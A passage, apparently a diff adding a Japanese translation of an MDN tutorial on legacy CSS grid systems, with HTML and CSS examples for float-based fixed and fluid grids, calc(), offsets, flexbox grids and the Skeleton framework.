finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +</div> + +<div> + <h2>Second column</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +</div></pre> + +<p>それぞれの列はそのコンテンツを含むために外側の要素が必要です。 この例では {{htmlelement("div")}} を選択しましたが、{{htmlelement("article")}}、{{htmlelement("section")}}、{{htmlelement("aside")}} など、より意味論的に適切なものを選択することもできます。</p> + +<p>今 CSS に対して、まず最初に、HTML に従うため、いくつかの基本的な設定を提供するために次を適用します。</p> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 0 auto; +}</pre> + +<p><code>body</code> の幅が 900px になるまで、<code>body</code> はビューポートの幅の 90% になります。 この場合、<code>body</code> はこの幅に固定され、ビューポートの中央に配置されます。 デフォルトでは、その子（{{htmlelement("h1")}} と2つの {{htmlelement("div")}}）は <code>body</code> の幅の 100% にわたります。 2つの {{htmlelement("div")}} を互いに並べてフロートしたい場合は、それらの幅の合計をその親要素の幅の 100% 以下に設定して、互いに並んで収まるようにする必要があります。 CSS の最後に次を追加してください。</p> + +<pre class="brush: css notranslate">div:nth-of-type(1) { + width: 48%; +} + +div:nth-of-type(2) { + width: 48%; +}</pre> + +<p>ここでは、両方とも親の幅の 48% に設定しました — これは合計 96% で、2列の間のガターのために 4% の空きを残し、コンテンツに余裕を持たせることができます。 さらに次のようにして、列をフロートにする必要があります。</p> + +<pre class="brush: css notranslate">div:nth-of-type(1) { + width: 48%; + float: left; +} + +div:nth-of-type(2) { + width: 48%; + float: right; +}</pre> + +<p>これらすべてをまとめると、次のような結果が得られます。</p> + +<div id="Floated_Two_Col"> +<div class="hidden"> +<h6 id="Simple_two-column_layout" name="Simple_two-column_layout">Simple two-column layout</h6> + +<pre class="brush: html notranslate"><h1>2 column layout example</h1> + +<div> + <h2>First column</h2> + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +</div> + +<div> + <h2>Second column</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +</div> +</pre> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 0 auto; +} + +div:nth-of-type(1) { + width: 48%; + float: left; +} + +div:nth-of-type(2) { + width: 48%; + float: right; +} +</pre> +</div> +</div> + +<p>{{ EmbedLiveSample('Floated_Two_Col', '100%', 520) }}</p> + +<p>ここでは、すべての幅にパーセントを使用していることに気付くでしょう。 これは、さまざまな画面サイズに合わせて調整し、小さい画面サイズで列幅に同じ比率を維持する、<strong>リキッドレイアウト</strong>（liquid layout）を作成するため、非常に良い戦略です。 ブラウザーウィンドウの幅を調整して確認してください。 これはレスポンシブウェブデザインのための貴重なツールです。</p> + +<div class="note"> +<p><strong>注</strong>: この例は <a href="http://mdn.github.io/learning-area/css/css-layout/floats/0_two-column-layout.html">0_two-column-layout.html</a> で実行できます（<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/0_two-column-layout.html">ソースコード</a>も見る）。</p> +</div> + +<h2 id="Creating_simple_legacy_grid_frameworks" name="Creating_simple_legacy_grid_frameworks">単純な過去のグリッドフレームワークを作成する</h2> + +<p>過去のフレームワークの大部分は、グリッドのように見えるものを作成するために、{{cssxref("float")}} プロパティのふるまいを使用して、ある列を別の列の隣にフロートします。 フロートによるグリッドを作成するプロセスを通して、これがどのように機能するかを説明し、<a href="/ja/docs/Learn/CSS/CSS_layout/Floats">フロートとクリア</a>のレッスンで学んだことを基にしてさらに高度な概念を紹介します。</p> + +<p>作成する最も簡単な種類のグリッドフレームワークは固定幅のものです — デザインに必要な合計幅、列数、およびガター幅と列幅を求める必要があります。 ブラウザーの幅に合わせて増減する列を含むグリッドにデザインをレイアウトすることにした場合は、列とそれらの間のガターに対してパーセント幅を計算する必要があります。</p> + +<p>次のセクションでは、両方を作成する方法を見ていきます。 12列のグリッドを作成します — 12 が 6、4、3、および 2 で割り切れることを考えると、さまざまな状況に非常に適応できると見られる非常に一般的な選択です。</p> + +<h3 id="A_simple_fixed_width_grid" name="A_simple_fixed_width_grid">単純な固定幅グリッド</h3> + +<p>最初に固定幅の列を使用するグリッドシステムを作成しましょう。</p> + +<p>サンプルの <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid.html">simple-grid.html</a> ファイルのローカルコピーを作成することから始めます。 このファイルには、<code>body</code> に次のマークアップが含まれています。</p> + +<pre class="brush: html notranslate"><div class="wrapper"> + <div class="row"> + <div class="col">1</div> + <div class="col">2</div> + <div class="col">3</div> + <div class="col">4</div> + <div class="col">5</div> + <div class="col">6</div> + <div class="col">7</div> + <div class="col">8</div> + <div class="col">9</div> + <div class="col">10</div> + <div class="col">11</div> + <div class="col">12</div> + </div> + <div class="row"> + <div class="col span1">13</div> + <div class="col span6">14</div> + <div class="col span3">15</div> + <div class="col span2">16</div> + </div> +</div></pre> + +<p>目的は、これを 12 列 2 行のグリッドのデモ用グリッドに変換することです — 一番上の行は個々の列のサイズを示し、2番目の行はグリッド上のいくつかの異なるサイズの領域です。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13901/simple-grid-finished.png" style="display: block; height: 50px; margin: 0px auto; width: 952px;"></p> + +<p>{{htmlelement("style")}} 要素に、次のコードを追加します。 これにより、<code>wrapper</code> コンテナの幅は 980 ピクセルになり、右側のパディングは 20 ピクセルになります。 これにより、列幅とガター幅の合計が 960 ピクセルになります — この場合、サイト上のすべての要素で {{cssxref("box-sizing")}} を <code>border-box</code> に設定しているため、パディングはコンテンツの幅の合計から差し引かれます（詳細については、<a href="/ja/docs/Learn/CSS/Styling_boxes/Box_model_recap#Changing_the_box_model_completely">ボックスモデルの完全な変更</a>を参照）。</p> + +<pre class="brush: css notranslate">* { + box-sizing: border-box; +} + +body { + width: 980px; + margin: 0 auto; +} + +.wrapper { + padding-right: 20px; +}</pre> + +<p>次に、グリッドの各行を囲む <code>row</code> コンテナを使用して、ある行を別の行からクリアします。 前の規則の下に次の規則を追加します。</p> + +<pre class="brush: css notranslate">.row { + clear: both; +}</pre> + +<p>このクリアを適用すると、各行を12列の要素で完全に埋める必要がなくなります。 行は分離されたままになり、互いに干渉しません。</p> + +<p>列の間のガターは 20 ピクセル幅です。 最初の列を含め、各列の左側にマージンとしてこれらのガターを作成して、コンテナの右側にある 20 ピクセルのパディングとのバランスを取ります。 だから全部で12のガターを持っています — 12 x 20 = 240。</p> + +<p>これを 960 ピクセルの合計幅から差し引いて、列に 720 ピクセルを与える必要があります。 これを 12 で割ると、各列の幅は 60 ピクセルになるはずです。</p> + +<p>次のステップは、<code>.col</code> クラスの規則を作成し、それを左にフロートして、ガターを形成する 20 ピクセルの {{cssxref("margin-left")}} と、60 ピクセルの {{cssxref("width")}} を与えることです。 CSS の最後に次の規則を追加してください。</p> + +<pre class="brush: css notranslate">.col { + float: left; + margin-left: 20px; + width: 60px; + background: rgb(255, 150, 150); +}</pre> + +<p>これで、一番上の単一列の行がグリッドとしてきちんとレイアウトされます。</p> + +<div class="note"> +<p><strong>注</strong>: また、各列に薄い赤色を指定したので、各列がどれだけのスペースを占めているかを正確に確認できます。</p> +</div> + +<p>複数列にまたがるコンテナのレイアウトには、必要な列数（足す、その間のガター）に合わせて {{cssxref("width")}} の値を調整するための特別なクラスを指定する必要があります。 コンテナが2〜12列にまたがるようにするために、追加のクラスを作成する必要があります。 それぞれの幅は、その列数の列幅にガター幅を加えた結果です。 ガター幅は常に列数より1つ少なくなります。</p> + +<p>CSS の最後に次を追加してください。</p> + +<pre class="brush: css notranslate">/* Two column widths (120px) plus one gutter width (20px) */ +.col.span2 { width: 140px; } +/* Three column widths (180px) plus two gutter widths (40px) */ +.col.span3 { width: 220px; } +/* And so on... */ +.col.span4 { width: 300px; } +.col.span5 { width: 380px; } +.col.span6 { width: 460px; } +.col.span7 { width: 540px; } +.col.span8 { width: 620px; } +.col.span9 { width: 700px; } +.col.span10 { width: 780px; } +.col.span11 { width: 860px; } +.col.span12 { width: 940px; }</pre> + +<p>これらのクラスを作成したら、グリッド上にさまざまな幅の列を配置できます。 効果を確認するには、ページを保存してブラウザーでロードします。</p> + +<div class="note"> +<p><strong>注</strong>: 上記の例がうまくいかない場合は、GitHub の<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html">完成版</a>と比較してみてください（<a href="http://mdn.github.io/learning-area/css/css-layout/grids/simple-grid-finished.html">ライブでも見られます</a>）。</p> +</div> + +<p>要素のクラスを変更したり、コンテナを追加したり削除したりして、レイアウトの変更方法を確認してください。 例えば、2行目を次のようにすることができます。</p> + +<pre class="brush: css notranslate"><div class="row"> + <div class="col span8">13</div> + <div class="col span4">14</div> +</div></pre> + +<p>これで、グリッドシステムが機能したので、単純に行と各行の列数を定義してから、各コンテナに必要なコンテンツを埋めるだけです。 すばらしいです！</p> + +<h3 id="Creating_a_fluid_grid" name="Creating_a_fluid_grid">フルードグリッドを作成する</h3> + +<p>私たちのグリッドはうまく機能しますが、幅は固定されています。 ブラウザーの{{Glossary("viewport","ビューポート")}}で利用可能なスペースに応じて拡大縮小する柔軟な（フルード（fluid、流動的な））グリッドが本当に必要です。 これを実現するために、参照するピクセル幅をパーセントに変えることができます。</p> + +<p>固定幅を柔軟なパーセントベースのものに変換する式は次のとおりです。</p> + +<pre class="notranslate">target / context = result</pre> + +<p>列幅については、目標の幅（<strong>target width</strong>）は 60 ピクセル、コンテキスト（<strong>context</strong>）は 960 ピクセルの <code>wrapper</code> です。 パーセントを計算するために次のようにします。</p> + +<pre class="notranslate">60 / 960 = 0.0625</pre> + +<p>次に小数点を2桁移動して、6.25% のパーセントを得ます。 したがって、私たちの CSS では、60 ピクセルの列幅を 6.25% に置き換えることができます。</p> + +<p>ガター幅についても次のように同じことをする必要があります。</p> + +<pre class="notranslate">20 / 960 = 0.02083333333</pre> + +<p>そのため、<code>.col</code> 規則の 20 ピクセルの {{cssxref("margin-left")}} と、<code>.wrapper</code> 規則の 20 ピクセルの {{cssxref("padding-right")}} を 2.08333333% に置き換える必要があります。</p> + +<h4 id="Updating_our_grid" name="Updating_our_grid">グリッドを更新する</h4> + +<p>このセクションで始めるには、前のサンプルページの新しいコピーを作成するか、または出発点として使用するために <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html">simple-grid-finished.html</a> コードのローカルコピーを作成してください。</p> + +<p>次のように（<code>.wrapper</code> セレクターの）2番目の CSS 規則を更新します。</p> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 980px; + margin: 0 auto; +} + +.wrapper { + padding-right: 2.08333333%; +}</pre> + +<p>パーセントの {{cssxref("width")}} を指定しただけでなく、レイアウトが広くなり過ぎるのを防ぐために {{cssxref("max-width")}} プロパティも追加しました。</p> + +<p>次に、（<code>.col</code> セレクターの）4番目の CSS 規則を次のように更新します。</p> + +<pre class="brush: css notranslate">.col { + float: left; + margin-left: 2.08333333%; + width: 6.25%; + background: rgb(255, 150, 150); +}</pre> + +<p>もう少し面倒な部分があります。 ピクセル幅ではなくパーセントを使用するようにすべての <code>.col.span</code> 規則を更新する必要があります。 これは電卓で少し時間がかかります。 あなたの努力を節約するために、それを下に用意しました。</p> + +<p>次のように CSS 規則の一番下のブロックを更新します。</p> + +<pre class="brush: css notranslate">/* Two column widths (12.5%) plus one gutter width (2.08333333%) */ +.col.span2 { width: 14.58333333%; } +/* Three column widths (18.75%) plus two gutter widths (4.1666666) */ +.col.span3 { width: 22.91666666%; } +/* And so on... */ +.col.span4 { width: 31.24999999%; } +.col.span5 { width: 39.58333332%; } +.col.span6 { width: 47.91666665%; } +.col.span7 { width: 56.24999998%; } +.col.span8 { width: 64.58333331%; } +.col.span9 { width: 72.91666664%; } +.col.span10 { width: 81.24999997%; } +.col.span11 { width: 89.5833333%; } +.col.span12 { width: 97.91666663%; }</pre> + +<p>コードを保存してブラウザーにロードし、ビューポートの幅を変更してみます — 列の幅は適切に調整されるはずです。</p> + +<div class="note"> +<p><strong>注</strong>: 上記の例がうまくいかない場合は、<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html">GitHub の完成版</a>と比較してみてください（<a href="http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid.html">ライブでも見られます</a>）。</p> +</div> + +<h3 id="Easier_calculations_using_the_calc_function" name="Easier_calculations_using_the_calc()_function">calc() 関数を使ったより簡単な計算</h3> + +<p>CSS のすぐ内側で {{cssxref("calc","calc()")}} 関数を使って数学を行うことができます — これは CSS の値に簡単な数学の方程式を挿入して、値が何であるべきかを計算することを可能にします。 複雑な計算が必要な場合に特に便利です。 例えば、「この要素の高さは、常に親の高さの 100% から 50px を引いた値です」など、さまざまな単位を使用した計算も計算できます。 <a href="/ja/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API#Keeping_the_interface_constrained_to_the_viewport_regardless_of_device_height_with_calc()">MediaRecorder API のチュートリアルからこの例</a>を参照してください。</p> + +<p>とにかく、私たちのグリッドに戻りましょう！ グリッドの複数の列にまたがる列は、合計幅が 6.25% x またがる列の数 + 2.08333333% x ガターの数（常に列の数 - 1）になります。 <code>calc()</code> 関数を使用すると、<code>width</code> の値の内側でこの計算を実行できます。 そのため、例えば、4列にまたがる項目であれば、次のようにします。</p> + +<pre class="brush: css notranslate">.col.span4 { + width: calc((6.25%*4) + (2.08333333%*3)); +}</pre> + +<p>規則の一番下のブロックを次のように置き換えてから、ブラウザーにリロードして、同じ結果になるかどうかを確認します。</p> + +<pre class="brush: css notranslate">.col.span2 { width: calc((6.25%*2) + 2.08333333%); } +.col.span3 { width: calc((6.25%*3) + (2.08333333%*2)); } +.col.span4 { width: calc((6.25%*4) + (2.08333333%*3)); } +.col.span5 { width: calc((6.25%*5) + (2.08333333%*4)); } +.col.span6 { width: calc((6.25%*6) + (2.08333333%*5)); } +.col.span7 { width: calc((6.25%*7) + (2.08333333%*6)); } +.col.span8 { width: calc((6.25%*8) + (2.08333333%*7)); } +.col.span9 { width: calc((6.25%*9) + (2.08333333%*8)); } +.col.span10 { width: calc((6.25%*10) + (2.08333333%*9)); } +.col.span11 { width: calc((6.25%*11) + (2.08333333%*10)); } +.col.span12 { width: calc((6.25%*12) + (2.08333333%*11)); }</pre> + +<div class="note"> +<p><strong>注</strong>: <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-calc.html">fluid-grid-calc.html</a> で完成版を見ることができます（<a href="http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-calc.html">ライブでも見られます</a>）。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: これがうまくいかない場合は、ブラウザーが <code>calc()</code> 関数をサポートしていないことが考えられます。 ブラウザー間ではかなりよくサポートされています — IE9 までさかのぼります。</p> +</div> + +<h3 id="Semantic_versus_“unsemantic”_grid_systems" name="Semantic_versus_“unsemantic”_grid_systems">意味論的グリッドシステム対「意味論的でない」グリッドシステム</h3> + +<p>マークアップにクラスを追加してレイアウトを定義するということは、コンテンツとマークアップが視覚的表現に結び付くことを意味します。 この CSS クラスの使い方は、コンテンツを説明するクラスの意味論的な使い方ではなく、「意味論的でない」（コンテンツがどのように見えるかを説明する）ものとして説明されることがあります。 これは、<code>span2</code>、<code>span3</code> などのクラスの場合です。</p> + +<p>これらが唯一のアプローチではありません。 代わりにグリッドを決定してから、サイズ情報を既存の意味論的クラスの規則に追加することができます。 例えば、8列にまたがる <code>content</code> のクラスが {{htmlelement("div")}} にある場合は、<code>span8</code> のクラスから <code>width</code> をコピーして、次のような規則を指定できます。</p> + +<pre class="brush: css notranslate">.content { + width: calc((6.25%*8) + (2.08333333%*7)); +}</pre> + +<div class="note"> +<p><strong>注</strong>: <a href="http://sass-lang.com/">Sass</a> などのプリプロセッサを使用する場合は、単純な mixin を作成してその値を挿入することができます。</p> +</div> + +<h3 id="Enabling_offset_containers_in_our_grid" name="Enabling_offset_containers_in_our_grid">グリッドでオフセットしたコンテナを使えるようにする</h3> + +<p>作成したグリッドは、すべてのコンテナをグリッドの左側から始めてぴったり重ねる限り、うまく機能します。 最初のコンテナの前（または、コンテナ間）に空の列スペースを残したい場合は、視覚的にグリッドを横切って押すための左マージンを追加するためのオフセットクラスを作成する必要があります。 もっと数学！</p> + +<p>これを試してみましょう。</p> + +<p>以前のコードから始めるか、出発点として <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html">fluid-grid.html</a> ファイルを使用してください。</p> + +<p>CSS でコンテナ要素を1列幅だけオフセットするクラスを作成しましょう。 CSS の最後に次を追加してください。</p> + +<pre class="brush: css notranslate">.offset-by-one { + margin-left: calc(6.25% + (2.08333333%*2)); +}</pre> + +<p>パーセントを自分で計算したい場合は、こちらを使用してください。</p> + +<pre class="brush: css notranslate">.offset-by-one { + margin-left: 10.41666666%; +}</pre> + +<p>これで、このクラスを左側に1列幅の空きスペースに残したいコンテナに追加できます。 例えば、HTML に次のものがあるとします。</p> + +<pre class="brush: html notranslate"><div class="col span6">14</div></pre> + +<p>これを次に置き換えてみてください。</p> + +<pre class="brush: html notranslate"><div class="col span5 offset-by-one">14</div></pre> + +<div class="note"> +<p><strong>注</strong>: オフセット用のスペースを確保するために、またがる列の数を減らす必要があることに注意してください！</p> +</div> + +<p>違いを確認するには、ロードとリフレッシュを試してみるか、<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-offset.html">fluid-grid-offset.html</a> の例を確認してください（<a href="http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-offset.html">ライブでも見られます</a>）。 完成した例は次のようになります。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13903/offset-grid-finished.png" style="display: block; height: 47px; margin: 0px auto; width: 944px;"></p> + +<div class="note"> +<p><strong>注</strong>: 特別な演習として、<code>offset-by-two</code> クラスを実装できますか？</p> +</div> + +<h3 id="Floated_grid_limitations" name="Floated_grid_limitations">フロートのグリッドの制限</h3> + +<p>このようなシステムを使用するときは、合計幅が正しく加算され、行に含むことができるよりも多くの列にまたがる要素を行に含めないように注意する必要があります。 フロートの機能のために、グリッドの列の数がグリッドに対して広くなりすぎると、最後の要素が次のラインにドロップダウンされ、グリッドが壊れます。</p> + +<p>また、要素のコンテンツがそれらが占める行よりも広くなると、オーバーフローしてだらしなく見えることも覚えておいてください。</p> + +<p>このシステムの最大の制限は、それが本質的に一次元であるということです。 私たちは列を扱っていて、要素は列にまたがっていますが、行には及んでいません。 これらの古いレイアウト方法では、高さを明示的に設定せずに要素の高さを制御することは非常に困難で、これも非常に柔軟性のない方法です — コンテンツが一定の高さになることを保証できる場合にのみ機能します。</p> + +<h2 id="Flexbox_grids" name="Flexbox_grids">フレックスボックスのグリッド？</h2> + +<p>以前の<a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a>に関する記事を読んだことがあれば、フレックスボックスがグリッドシステムを作成するための理想的な解決策であると考えるかもしれません。 利用可能な多くのフレックスボックスベースのグリッドシステムがあり、フレックスボックスは上記のグリッドを作成するときに私たちがすでに発見した問題の多くを解決することができます。</p> + +<p>ただし、フレックスボックスはグリッドシステムとして設計されたことはなく、その1つとして使用すると新しい一連の問題が発生します。 この簡単な例として、上記で使用したのと同じマークアップ例を使用し、次の CSS を使用して <code>wrapper</code>、<code>row</code>、<code>col</code> クラスをスタイルすることができます。</p> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 980px; + margin: 0 auto; +} + +.wrapper { + padding-right: 2.08333333%; +} + + +.row { + display: flex; +} + +.col { + margin-left: 2.08333333%; + margin-bottom: 1em; + width: 6.25%; + flex: 1 1 auto; + background: rgb(255,150,150); +}</pre> + +<p>あなた自身の例でこれらの置き換えをすることを試みるか、または <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/flexbox-grid.html">flexbox-grid.html</a> の例のコードを見ることができます（<a href="http://mdn.github.io/learning-area/css/css-layout/grids/flexbox-grid.html">ライブでも見られます</a>）。</p> + +<p>ここで各行をフレックスコンテナに変えています。 フレックスボックスベースのグリッドでは、合計が 100% 未満の要素を持つことができるようにするために、まだ行が必要です。 そのコンテナを <code>display: flex</code> に設定します。</p> + +<p><code>.col</code> では、{{cssxref("flex")}} プロパティの最初の値（{{cssxref("flex-grow")}}）を 1 に設定して項目を大きくできるようにし、2番目の値（{{cssxref("flex-shrink")}}）を 1 にして項目を縮小できるようにし、3番目の値（{{cssxref("flex-basis")}}）を <code>auto</code> に設定します。 この要素には {{cssxref("width")}} が設定されているので、<code>auto</code> はその幅を <code>flex-basis</code> の値として使用します。</p> + +<p>一番上のラインでは、グリッド上に12個のきちんとしたボックスが表示され、ビューポートの幅を変更すると、それらは均等に拡大および縮小されます。 しかし、次のラインでは、4つの項目しかなく、これらも基本の 60px から増減しています。 それらのうちの4つだけで、それらは上の行の項目よりもはるかに大きく成長することができ、その結果、それらはすべて2番目の行で同じ幅を占めます。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13905/flexbox-grid-incomplete.png" style="display: block; height: 71px; margin: 0px auto; width: 944px;"></p> + +<p>これを修正するには、その要素に対して <code>flex-basis</code> によって使用される値を置き換える幅を提供するために、<code>span</code> クラスを含める必要があります。</p> + +<p>それらは、直上の項目について何も知らないので、直上の項目によって使用されるグリッドを尊重もしません。</p> + +<p>フレックスボックスは設計上<strong>一次元</strong>です。 それは単一の次元、つまり行または列の次元を扱います。 列と行に厳密なグリッドを作成することはできません。 つまり、グリッドにフレックスボックスを使用する場合でも、フロートのレイアウトの場合と同様にパーセントを計算する必要があります。</p> + +<p>プロジェクトでは、フレックスボックスがフロートを介して提供する追加の位置合わせとスペース分配機能のために、フレックスボックスの「グリッド」を使用することを選択することもできます。 しかし、設計されたもの以外の何かのためのツールを使っているのだということを知っているべきです。 だからあなたは望む最終結果を得るために、それが追加の輪くぐりの輪を飛び越えさせているように感じているかもしれません。</p> + +<h2 id="Third_party_grid_systems" name="Third_party_grid_systems">サードパーティのグリッドシステム</h2> + +<p>グリッド計算の背後にある数学を理解したので、一般的に使用されているサードパーティのグリッドシステムのいくつかを検討するのに適した状況です。 ウェブ上で「CSS Grid framework」を検索すると、膨大な選択肢のリストが見つかるでしょう。 <a href="http://getbootstrap.com/">Bootstrap</a> や <a href="http://foundation.zurb.com/">Foundation</a> などの人気のあるフレームワークには、グリッドシステムが含まれています。 CSS やプリプロセッサを使用して開発されたスタンドアロンのグリッドシステムもあります。</p> + +<p>グリッドフレームワークを扱うための一般的なテクニックを説明しているので、これらのスタンドアロンシステムの1つを見てみましょう。これから使用するグリッドは、単純な CSS フレームワークである Skeleton の一部です。</p> + +<p>はじめに <a href="http://getskeleton.com/">Skeleton のウェブサイト</a>にアクセスし、「Download」を選択して ZIP ファイルをダウンロードします。 これを解凍し、<code>skeleton.css</code> ファイルと <code>normalize.css</code> ファイルを新しいディレクトリにコピーします。</p> + +<p><a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton.html">html-skeleton.html</a> ファイルのコピーを作成し、それを <code>skeleton.css</code> と <code>normalize.css</code> と同じディレクトリに保存します。</p> + +<p>その <code>head</code> に次を追加することによって、<code>skeleton.css</code> と <code>normalize.css</code> を HTML ページに含めます。</p> + +<pre class="brush: html notranslate"><link href="normalize.css" rel="stylesheet"> +<link href="skeleton.css" rel="stylesheet"></pre> + +<p>Skeleton にはグリッドシステム以上のものが含まれています — タイポグラフィや、出発点として使用できるその他のページ要素の CSS も含んでいます。 ただし、これらはデフォルトのままにします — ここで本当に関心があるのはグリッドです。</p> + +<div class="note"> +<p><strong>注</strong>: <a href="http://necolas.github.io/normalize.css/">Normalize</a> は Nicolas Gallagher によって書かれた本当に便利で小さな CSS ライブラリです。 これは基本的ないくつかの基本的なレイアウトの修正を自動的に行い、ブラウザー間でデフォルトの要素のスタイル設定をより一貫させます。</p> +</div> + +<p>前の例と同様の HTML を使用します。 HTML の <code>body</code> に次を追加してください。</p> + +<pre class="brush: html notranslate"><div class="container"> + <div class="row"> + <div class="col">1</div> + <div class="col">2</div> + <div class="col">3</div> + <div class="col">4</div> + <div class="col">5</div> + <div class="col">6</div> + <div class="col">7</div> + <div class="col">8</div> + <div class="col">9</div> + <div class="col">10</div> + <div class="col">11</div> + <div class="col">12</div> + </div> + <div class="row"> + <div class="col">13</div> + <div class="col">14</div> + <div class="col">15</div> + <div class="col">16</div> + </div> +</div></pre> + +<p><br> + Skeleton を使い始めるためには、ラッパーの {{htmlelement("div")}} に <code>container </code>クラスを与える必要があります — これは既に HTML に含まれています。 これにより、最大幅 960 ピクセルのコンテンツが中央に配置されます。 ボックスが 960 ピクセルよりも広くならないことがわかります。</p> + +<p>このクラスを適用するときに使用される CSS を見るために <code>skeleton.css</code> ファイルを見ることができます。 <code><div></code> は <code>auto</code> の左右のマージンで中央に配置され、左右に 20 ピクセルのパディングが適用されます。 Skeleton はまた、先ほど行ったように {{cssxref("box-sizing")}} プロパティを <code>border-box</code> に設定するので、この要素のパディングとボーダーは合計幅に含まれます。</p> + +<pre class="brush: css notranslate">.container { + position: relative; + width: 100%; + max-width: 960px; + margin: 0 auto; + padding: 0 20px; + box-sizing: border-box; +}</pre> + +<p>要素が行内にある場合にのみ要素をグリッドの一部にすることができます。 前の例と同様に、<code>content</code> <code><div></code> と実際のコンテンツコンテナの <code><div></code> の間にネストした <code>row</code> クラスを持つ追加の <code><div></code> またはその他の要素が必要です。 これも既に行ってあります。</p> + +<p>それではコンテナボックスをレイアウトしましょう。 Skeleton は12列グリッドに基づいています。 一番上のラインのボックスはすべて、1列にまたがるようにするために <code>one column</code> クラスが必要です。</p> + +<p>次のスニペットに示すように、これらを追加します。</p> + +<pre class="brush: html notranslate"><div class="container"> + <div class="row"> + <div class="one column">1</div> + <div class="one column">2</div> + <div class="one column">3</div> + /* and so on */ + </div> +</div></pre> + +<p>次に、2番目の <code>row</code> クラスのコンテナに、それらがまたがるべき列数を説明します。</p> + +<pre class="brush: html notranslate"><div class="row"> + <div class="one column">13</div> + <div class="six columns">14</div> + <div class="three columns">15</div> + <div class="two columns">16</div> +</div></pre> + +<p>HTML ファイルを保存してブラウザーにロードして、効果を確認してください。</p> + +<div class="note"> +<p><strong>注</strong>: この例がうまく動作しない場合は、<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton-finished.html">html-skeleton-finished.html</a> ファイルと比較してみてください（<a href="http://mdn.github.io/learning-area/css/css-layout/grids/html-skeleton-finished.html">ライブでも見られます</a>）。</p> +</div> + +<p><code>skeleton.css</code> ファイルを見ると、これがどのように機能するかがわかります。 例えば、Skeleton には、「<code>three columns</code>」クラスを追加して要素をスタイルするための次の定義があります。</p> + +<pre class="brush: css notranslate">.three.columns { width: 22%; }</pre> + +<p>Skeleton（または他のグリッドフレームワーク）が行っていることはすべて、マークアップに追加することで使用できる定義済みクラスを設定することだけです。 これらのパーセントを自分で計算する作業を行ったのとまったく同じです。</p> + +<p>ご覧のとおり、Skeleton を使用するときには、CSS をほとんど書く必要がありません。 マークアップにクラスを追加すると、すべてのフロートが処理されます。 グリッドシステムのフレームワークを使用することを説得力のある選択にしたのは、レイアウトに対する責任を他に引き継ぐ、この能力です！ しかし最近では、CSS グリッドレイアウトを使用して、多くの開発者がこれらのフレームワークから CSS が提供する内蔵されたネイティブグリッドを使用するように移行しています。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>これで、さまざまなグリッドシステムの作成方法が理解できました。 これは、古いサイトでの作業や、CSS グリッドレイアウトのネイティブグリッドとこれらの古いシステムとの違いの理解に役立ちます。</p> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Media_queries", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Introduction">CSS レイアウト入門</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Normal_Flow">通常フロー</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Grids">グリッド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Floats">フロート</a></li> + 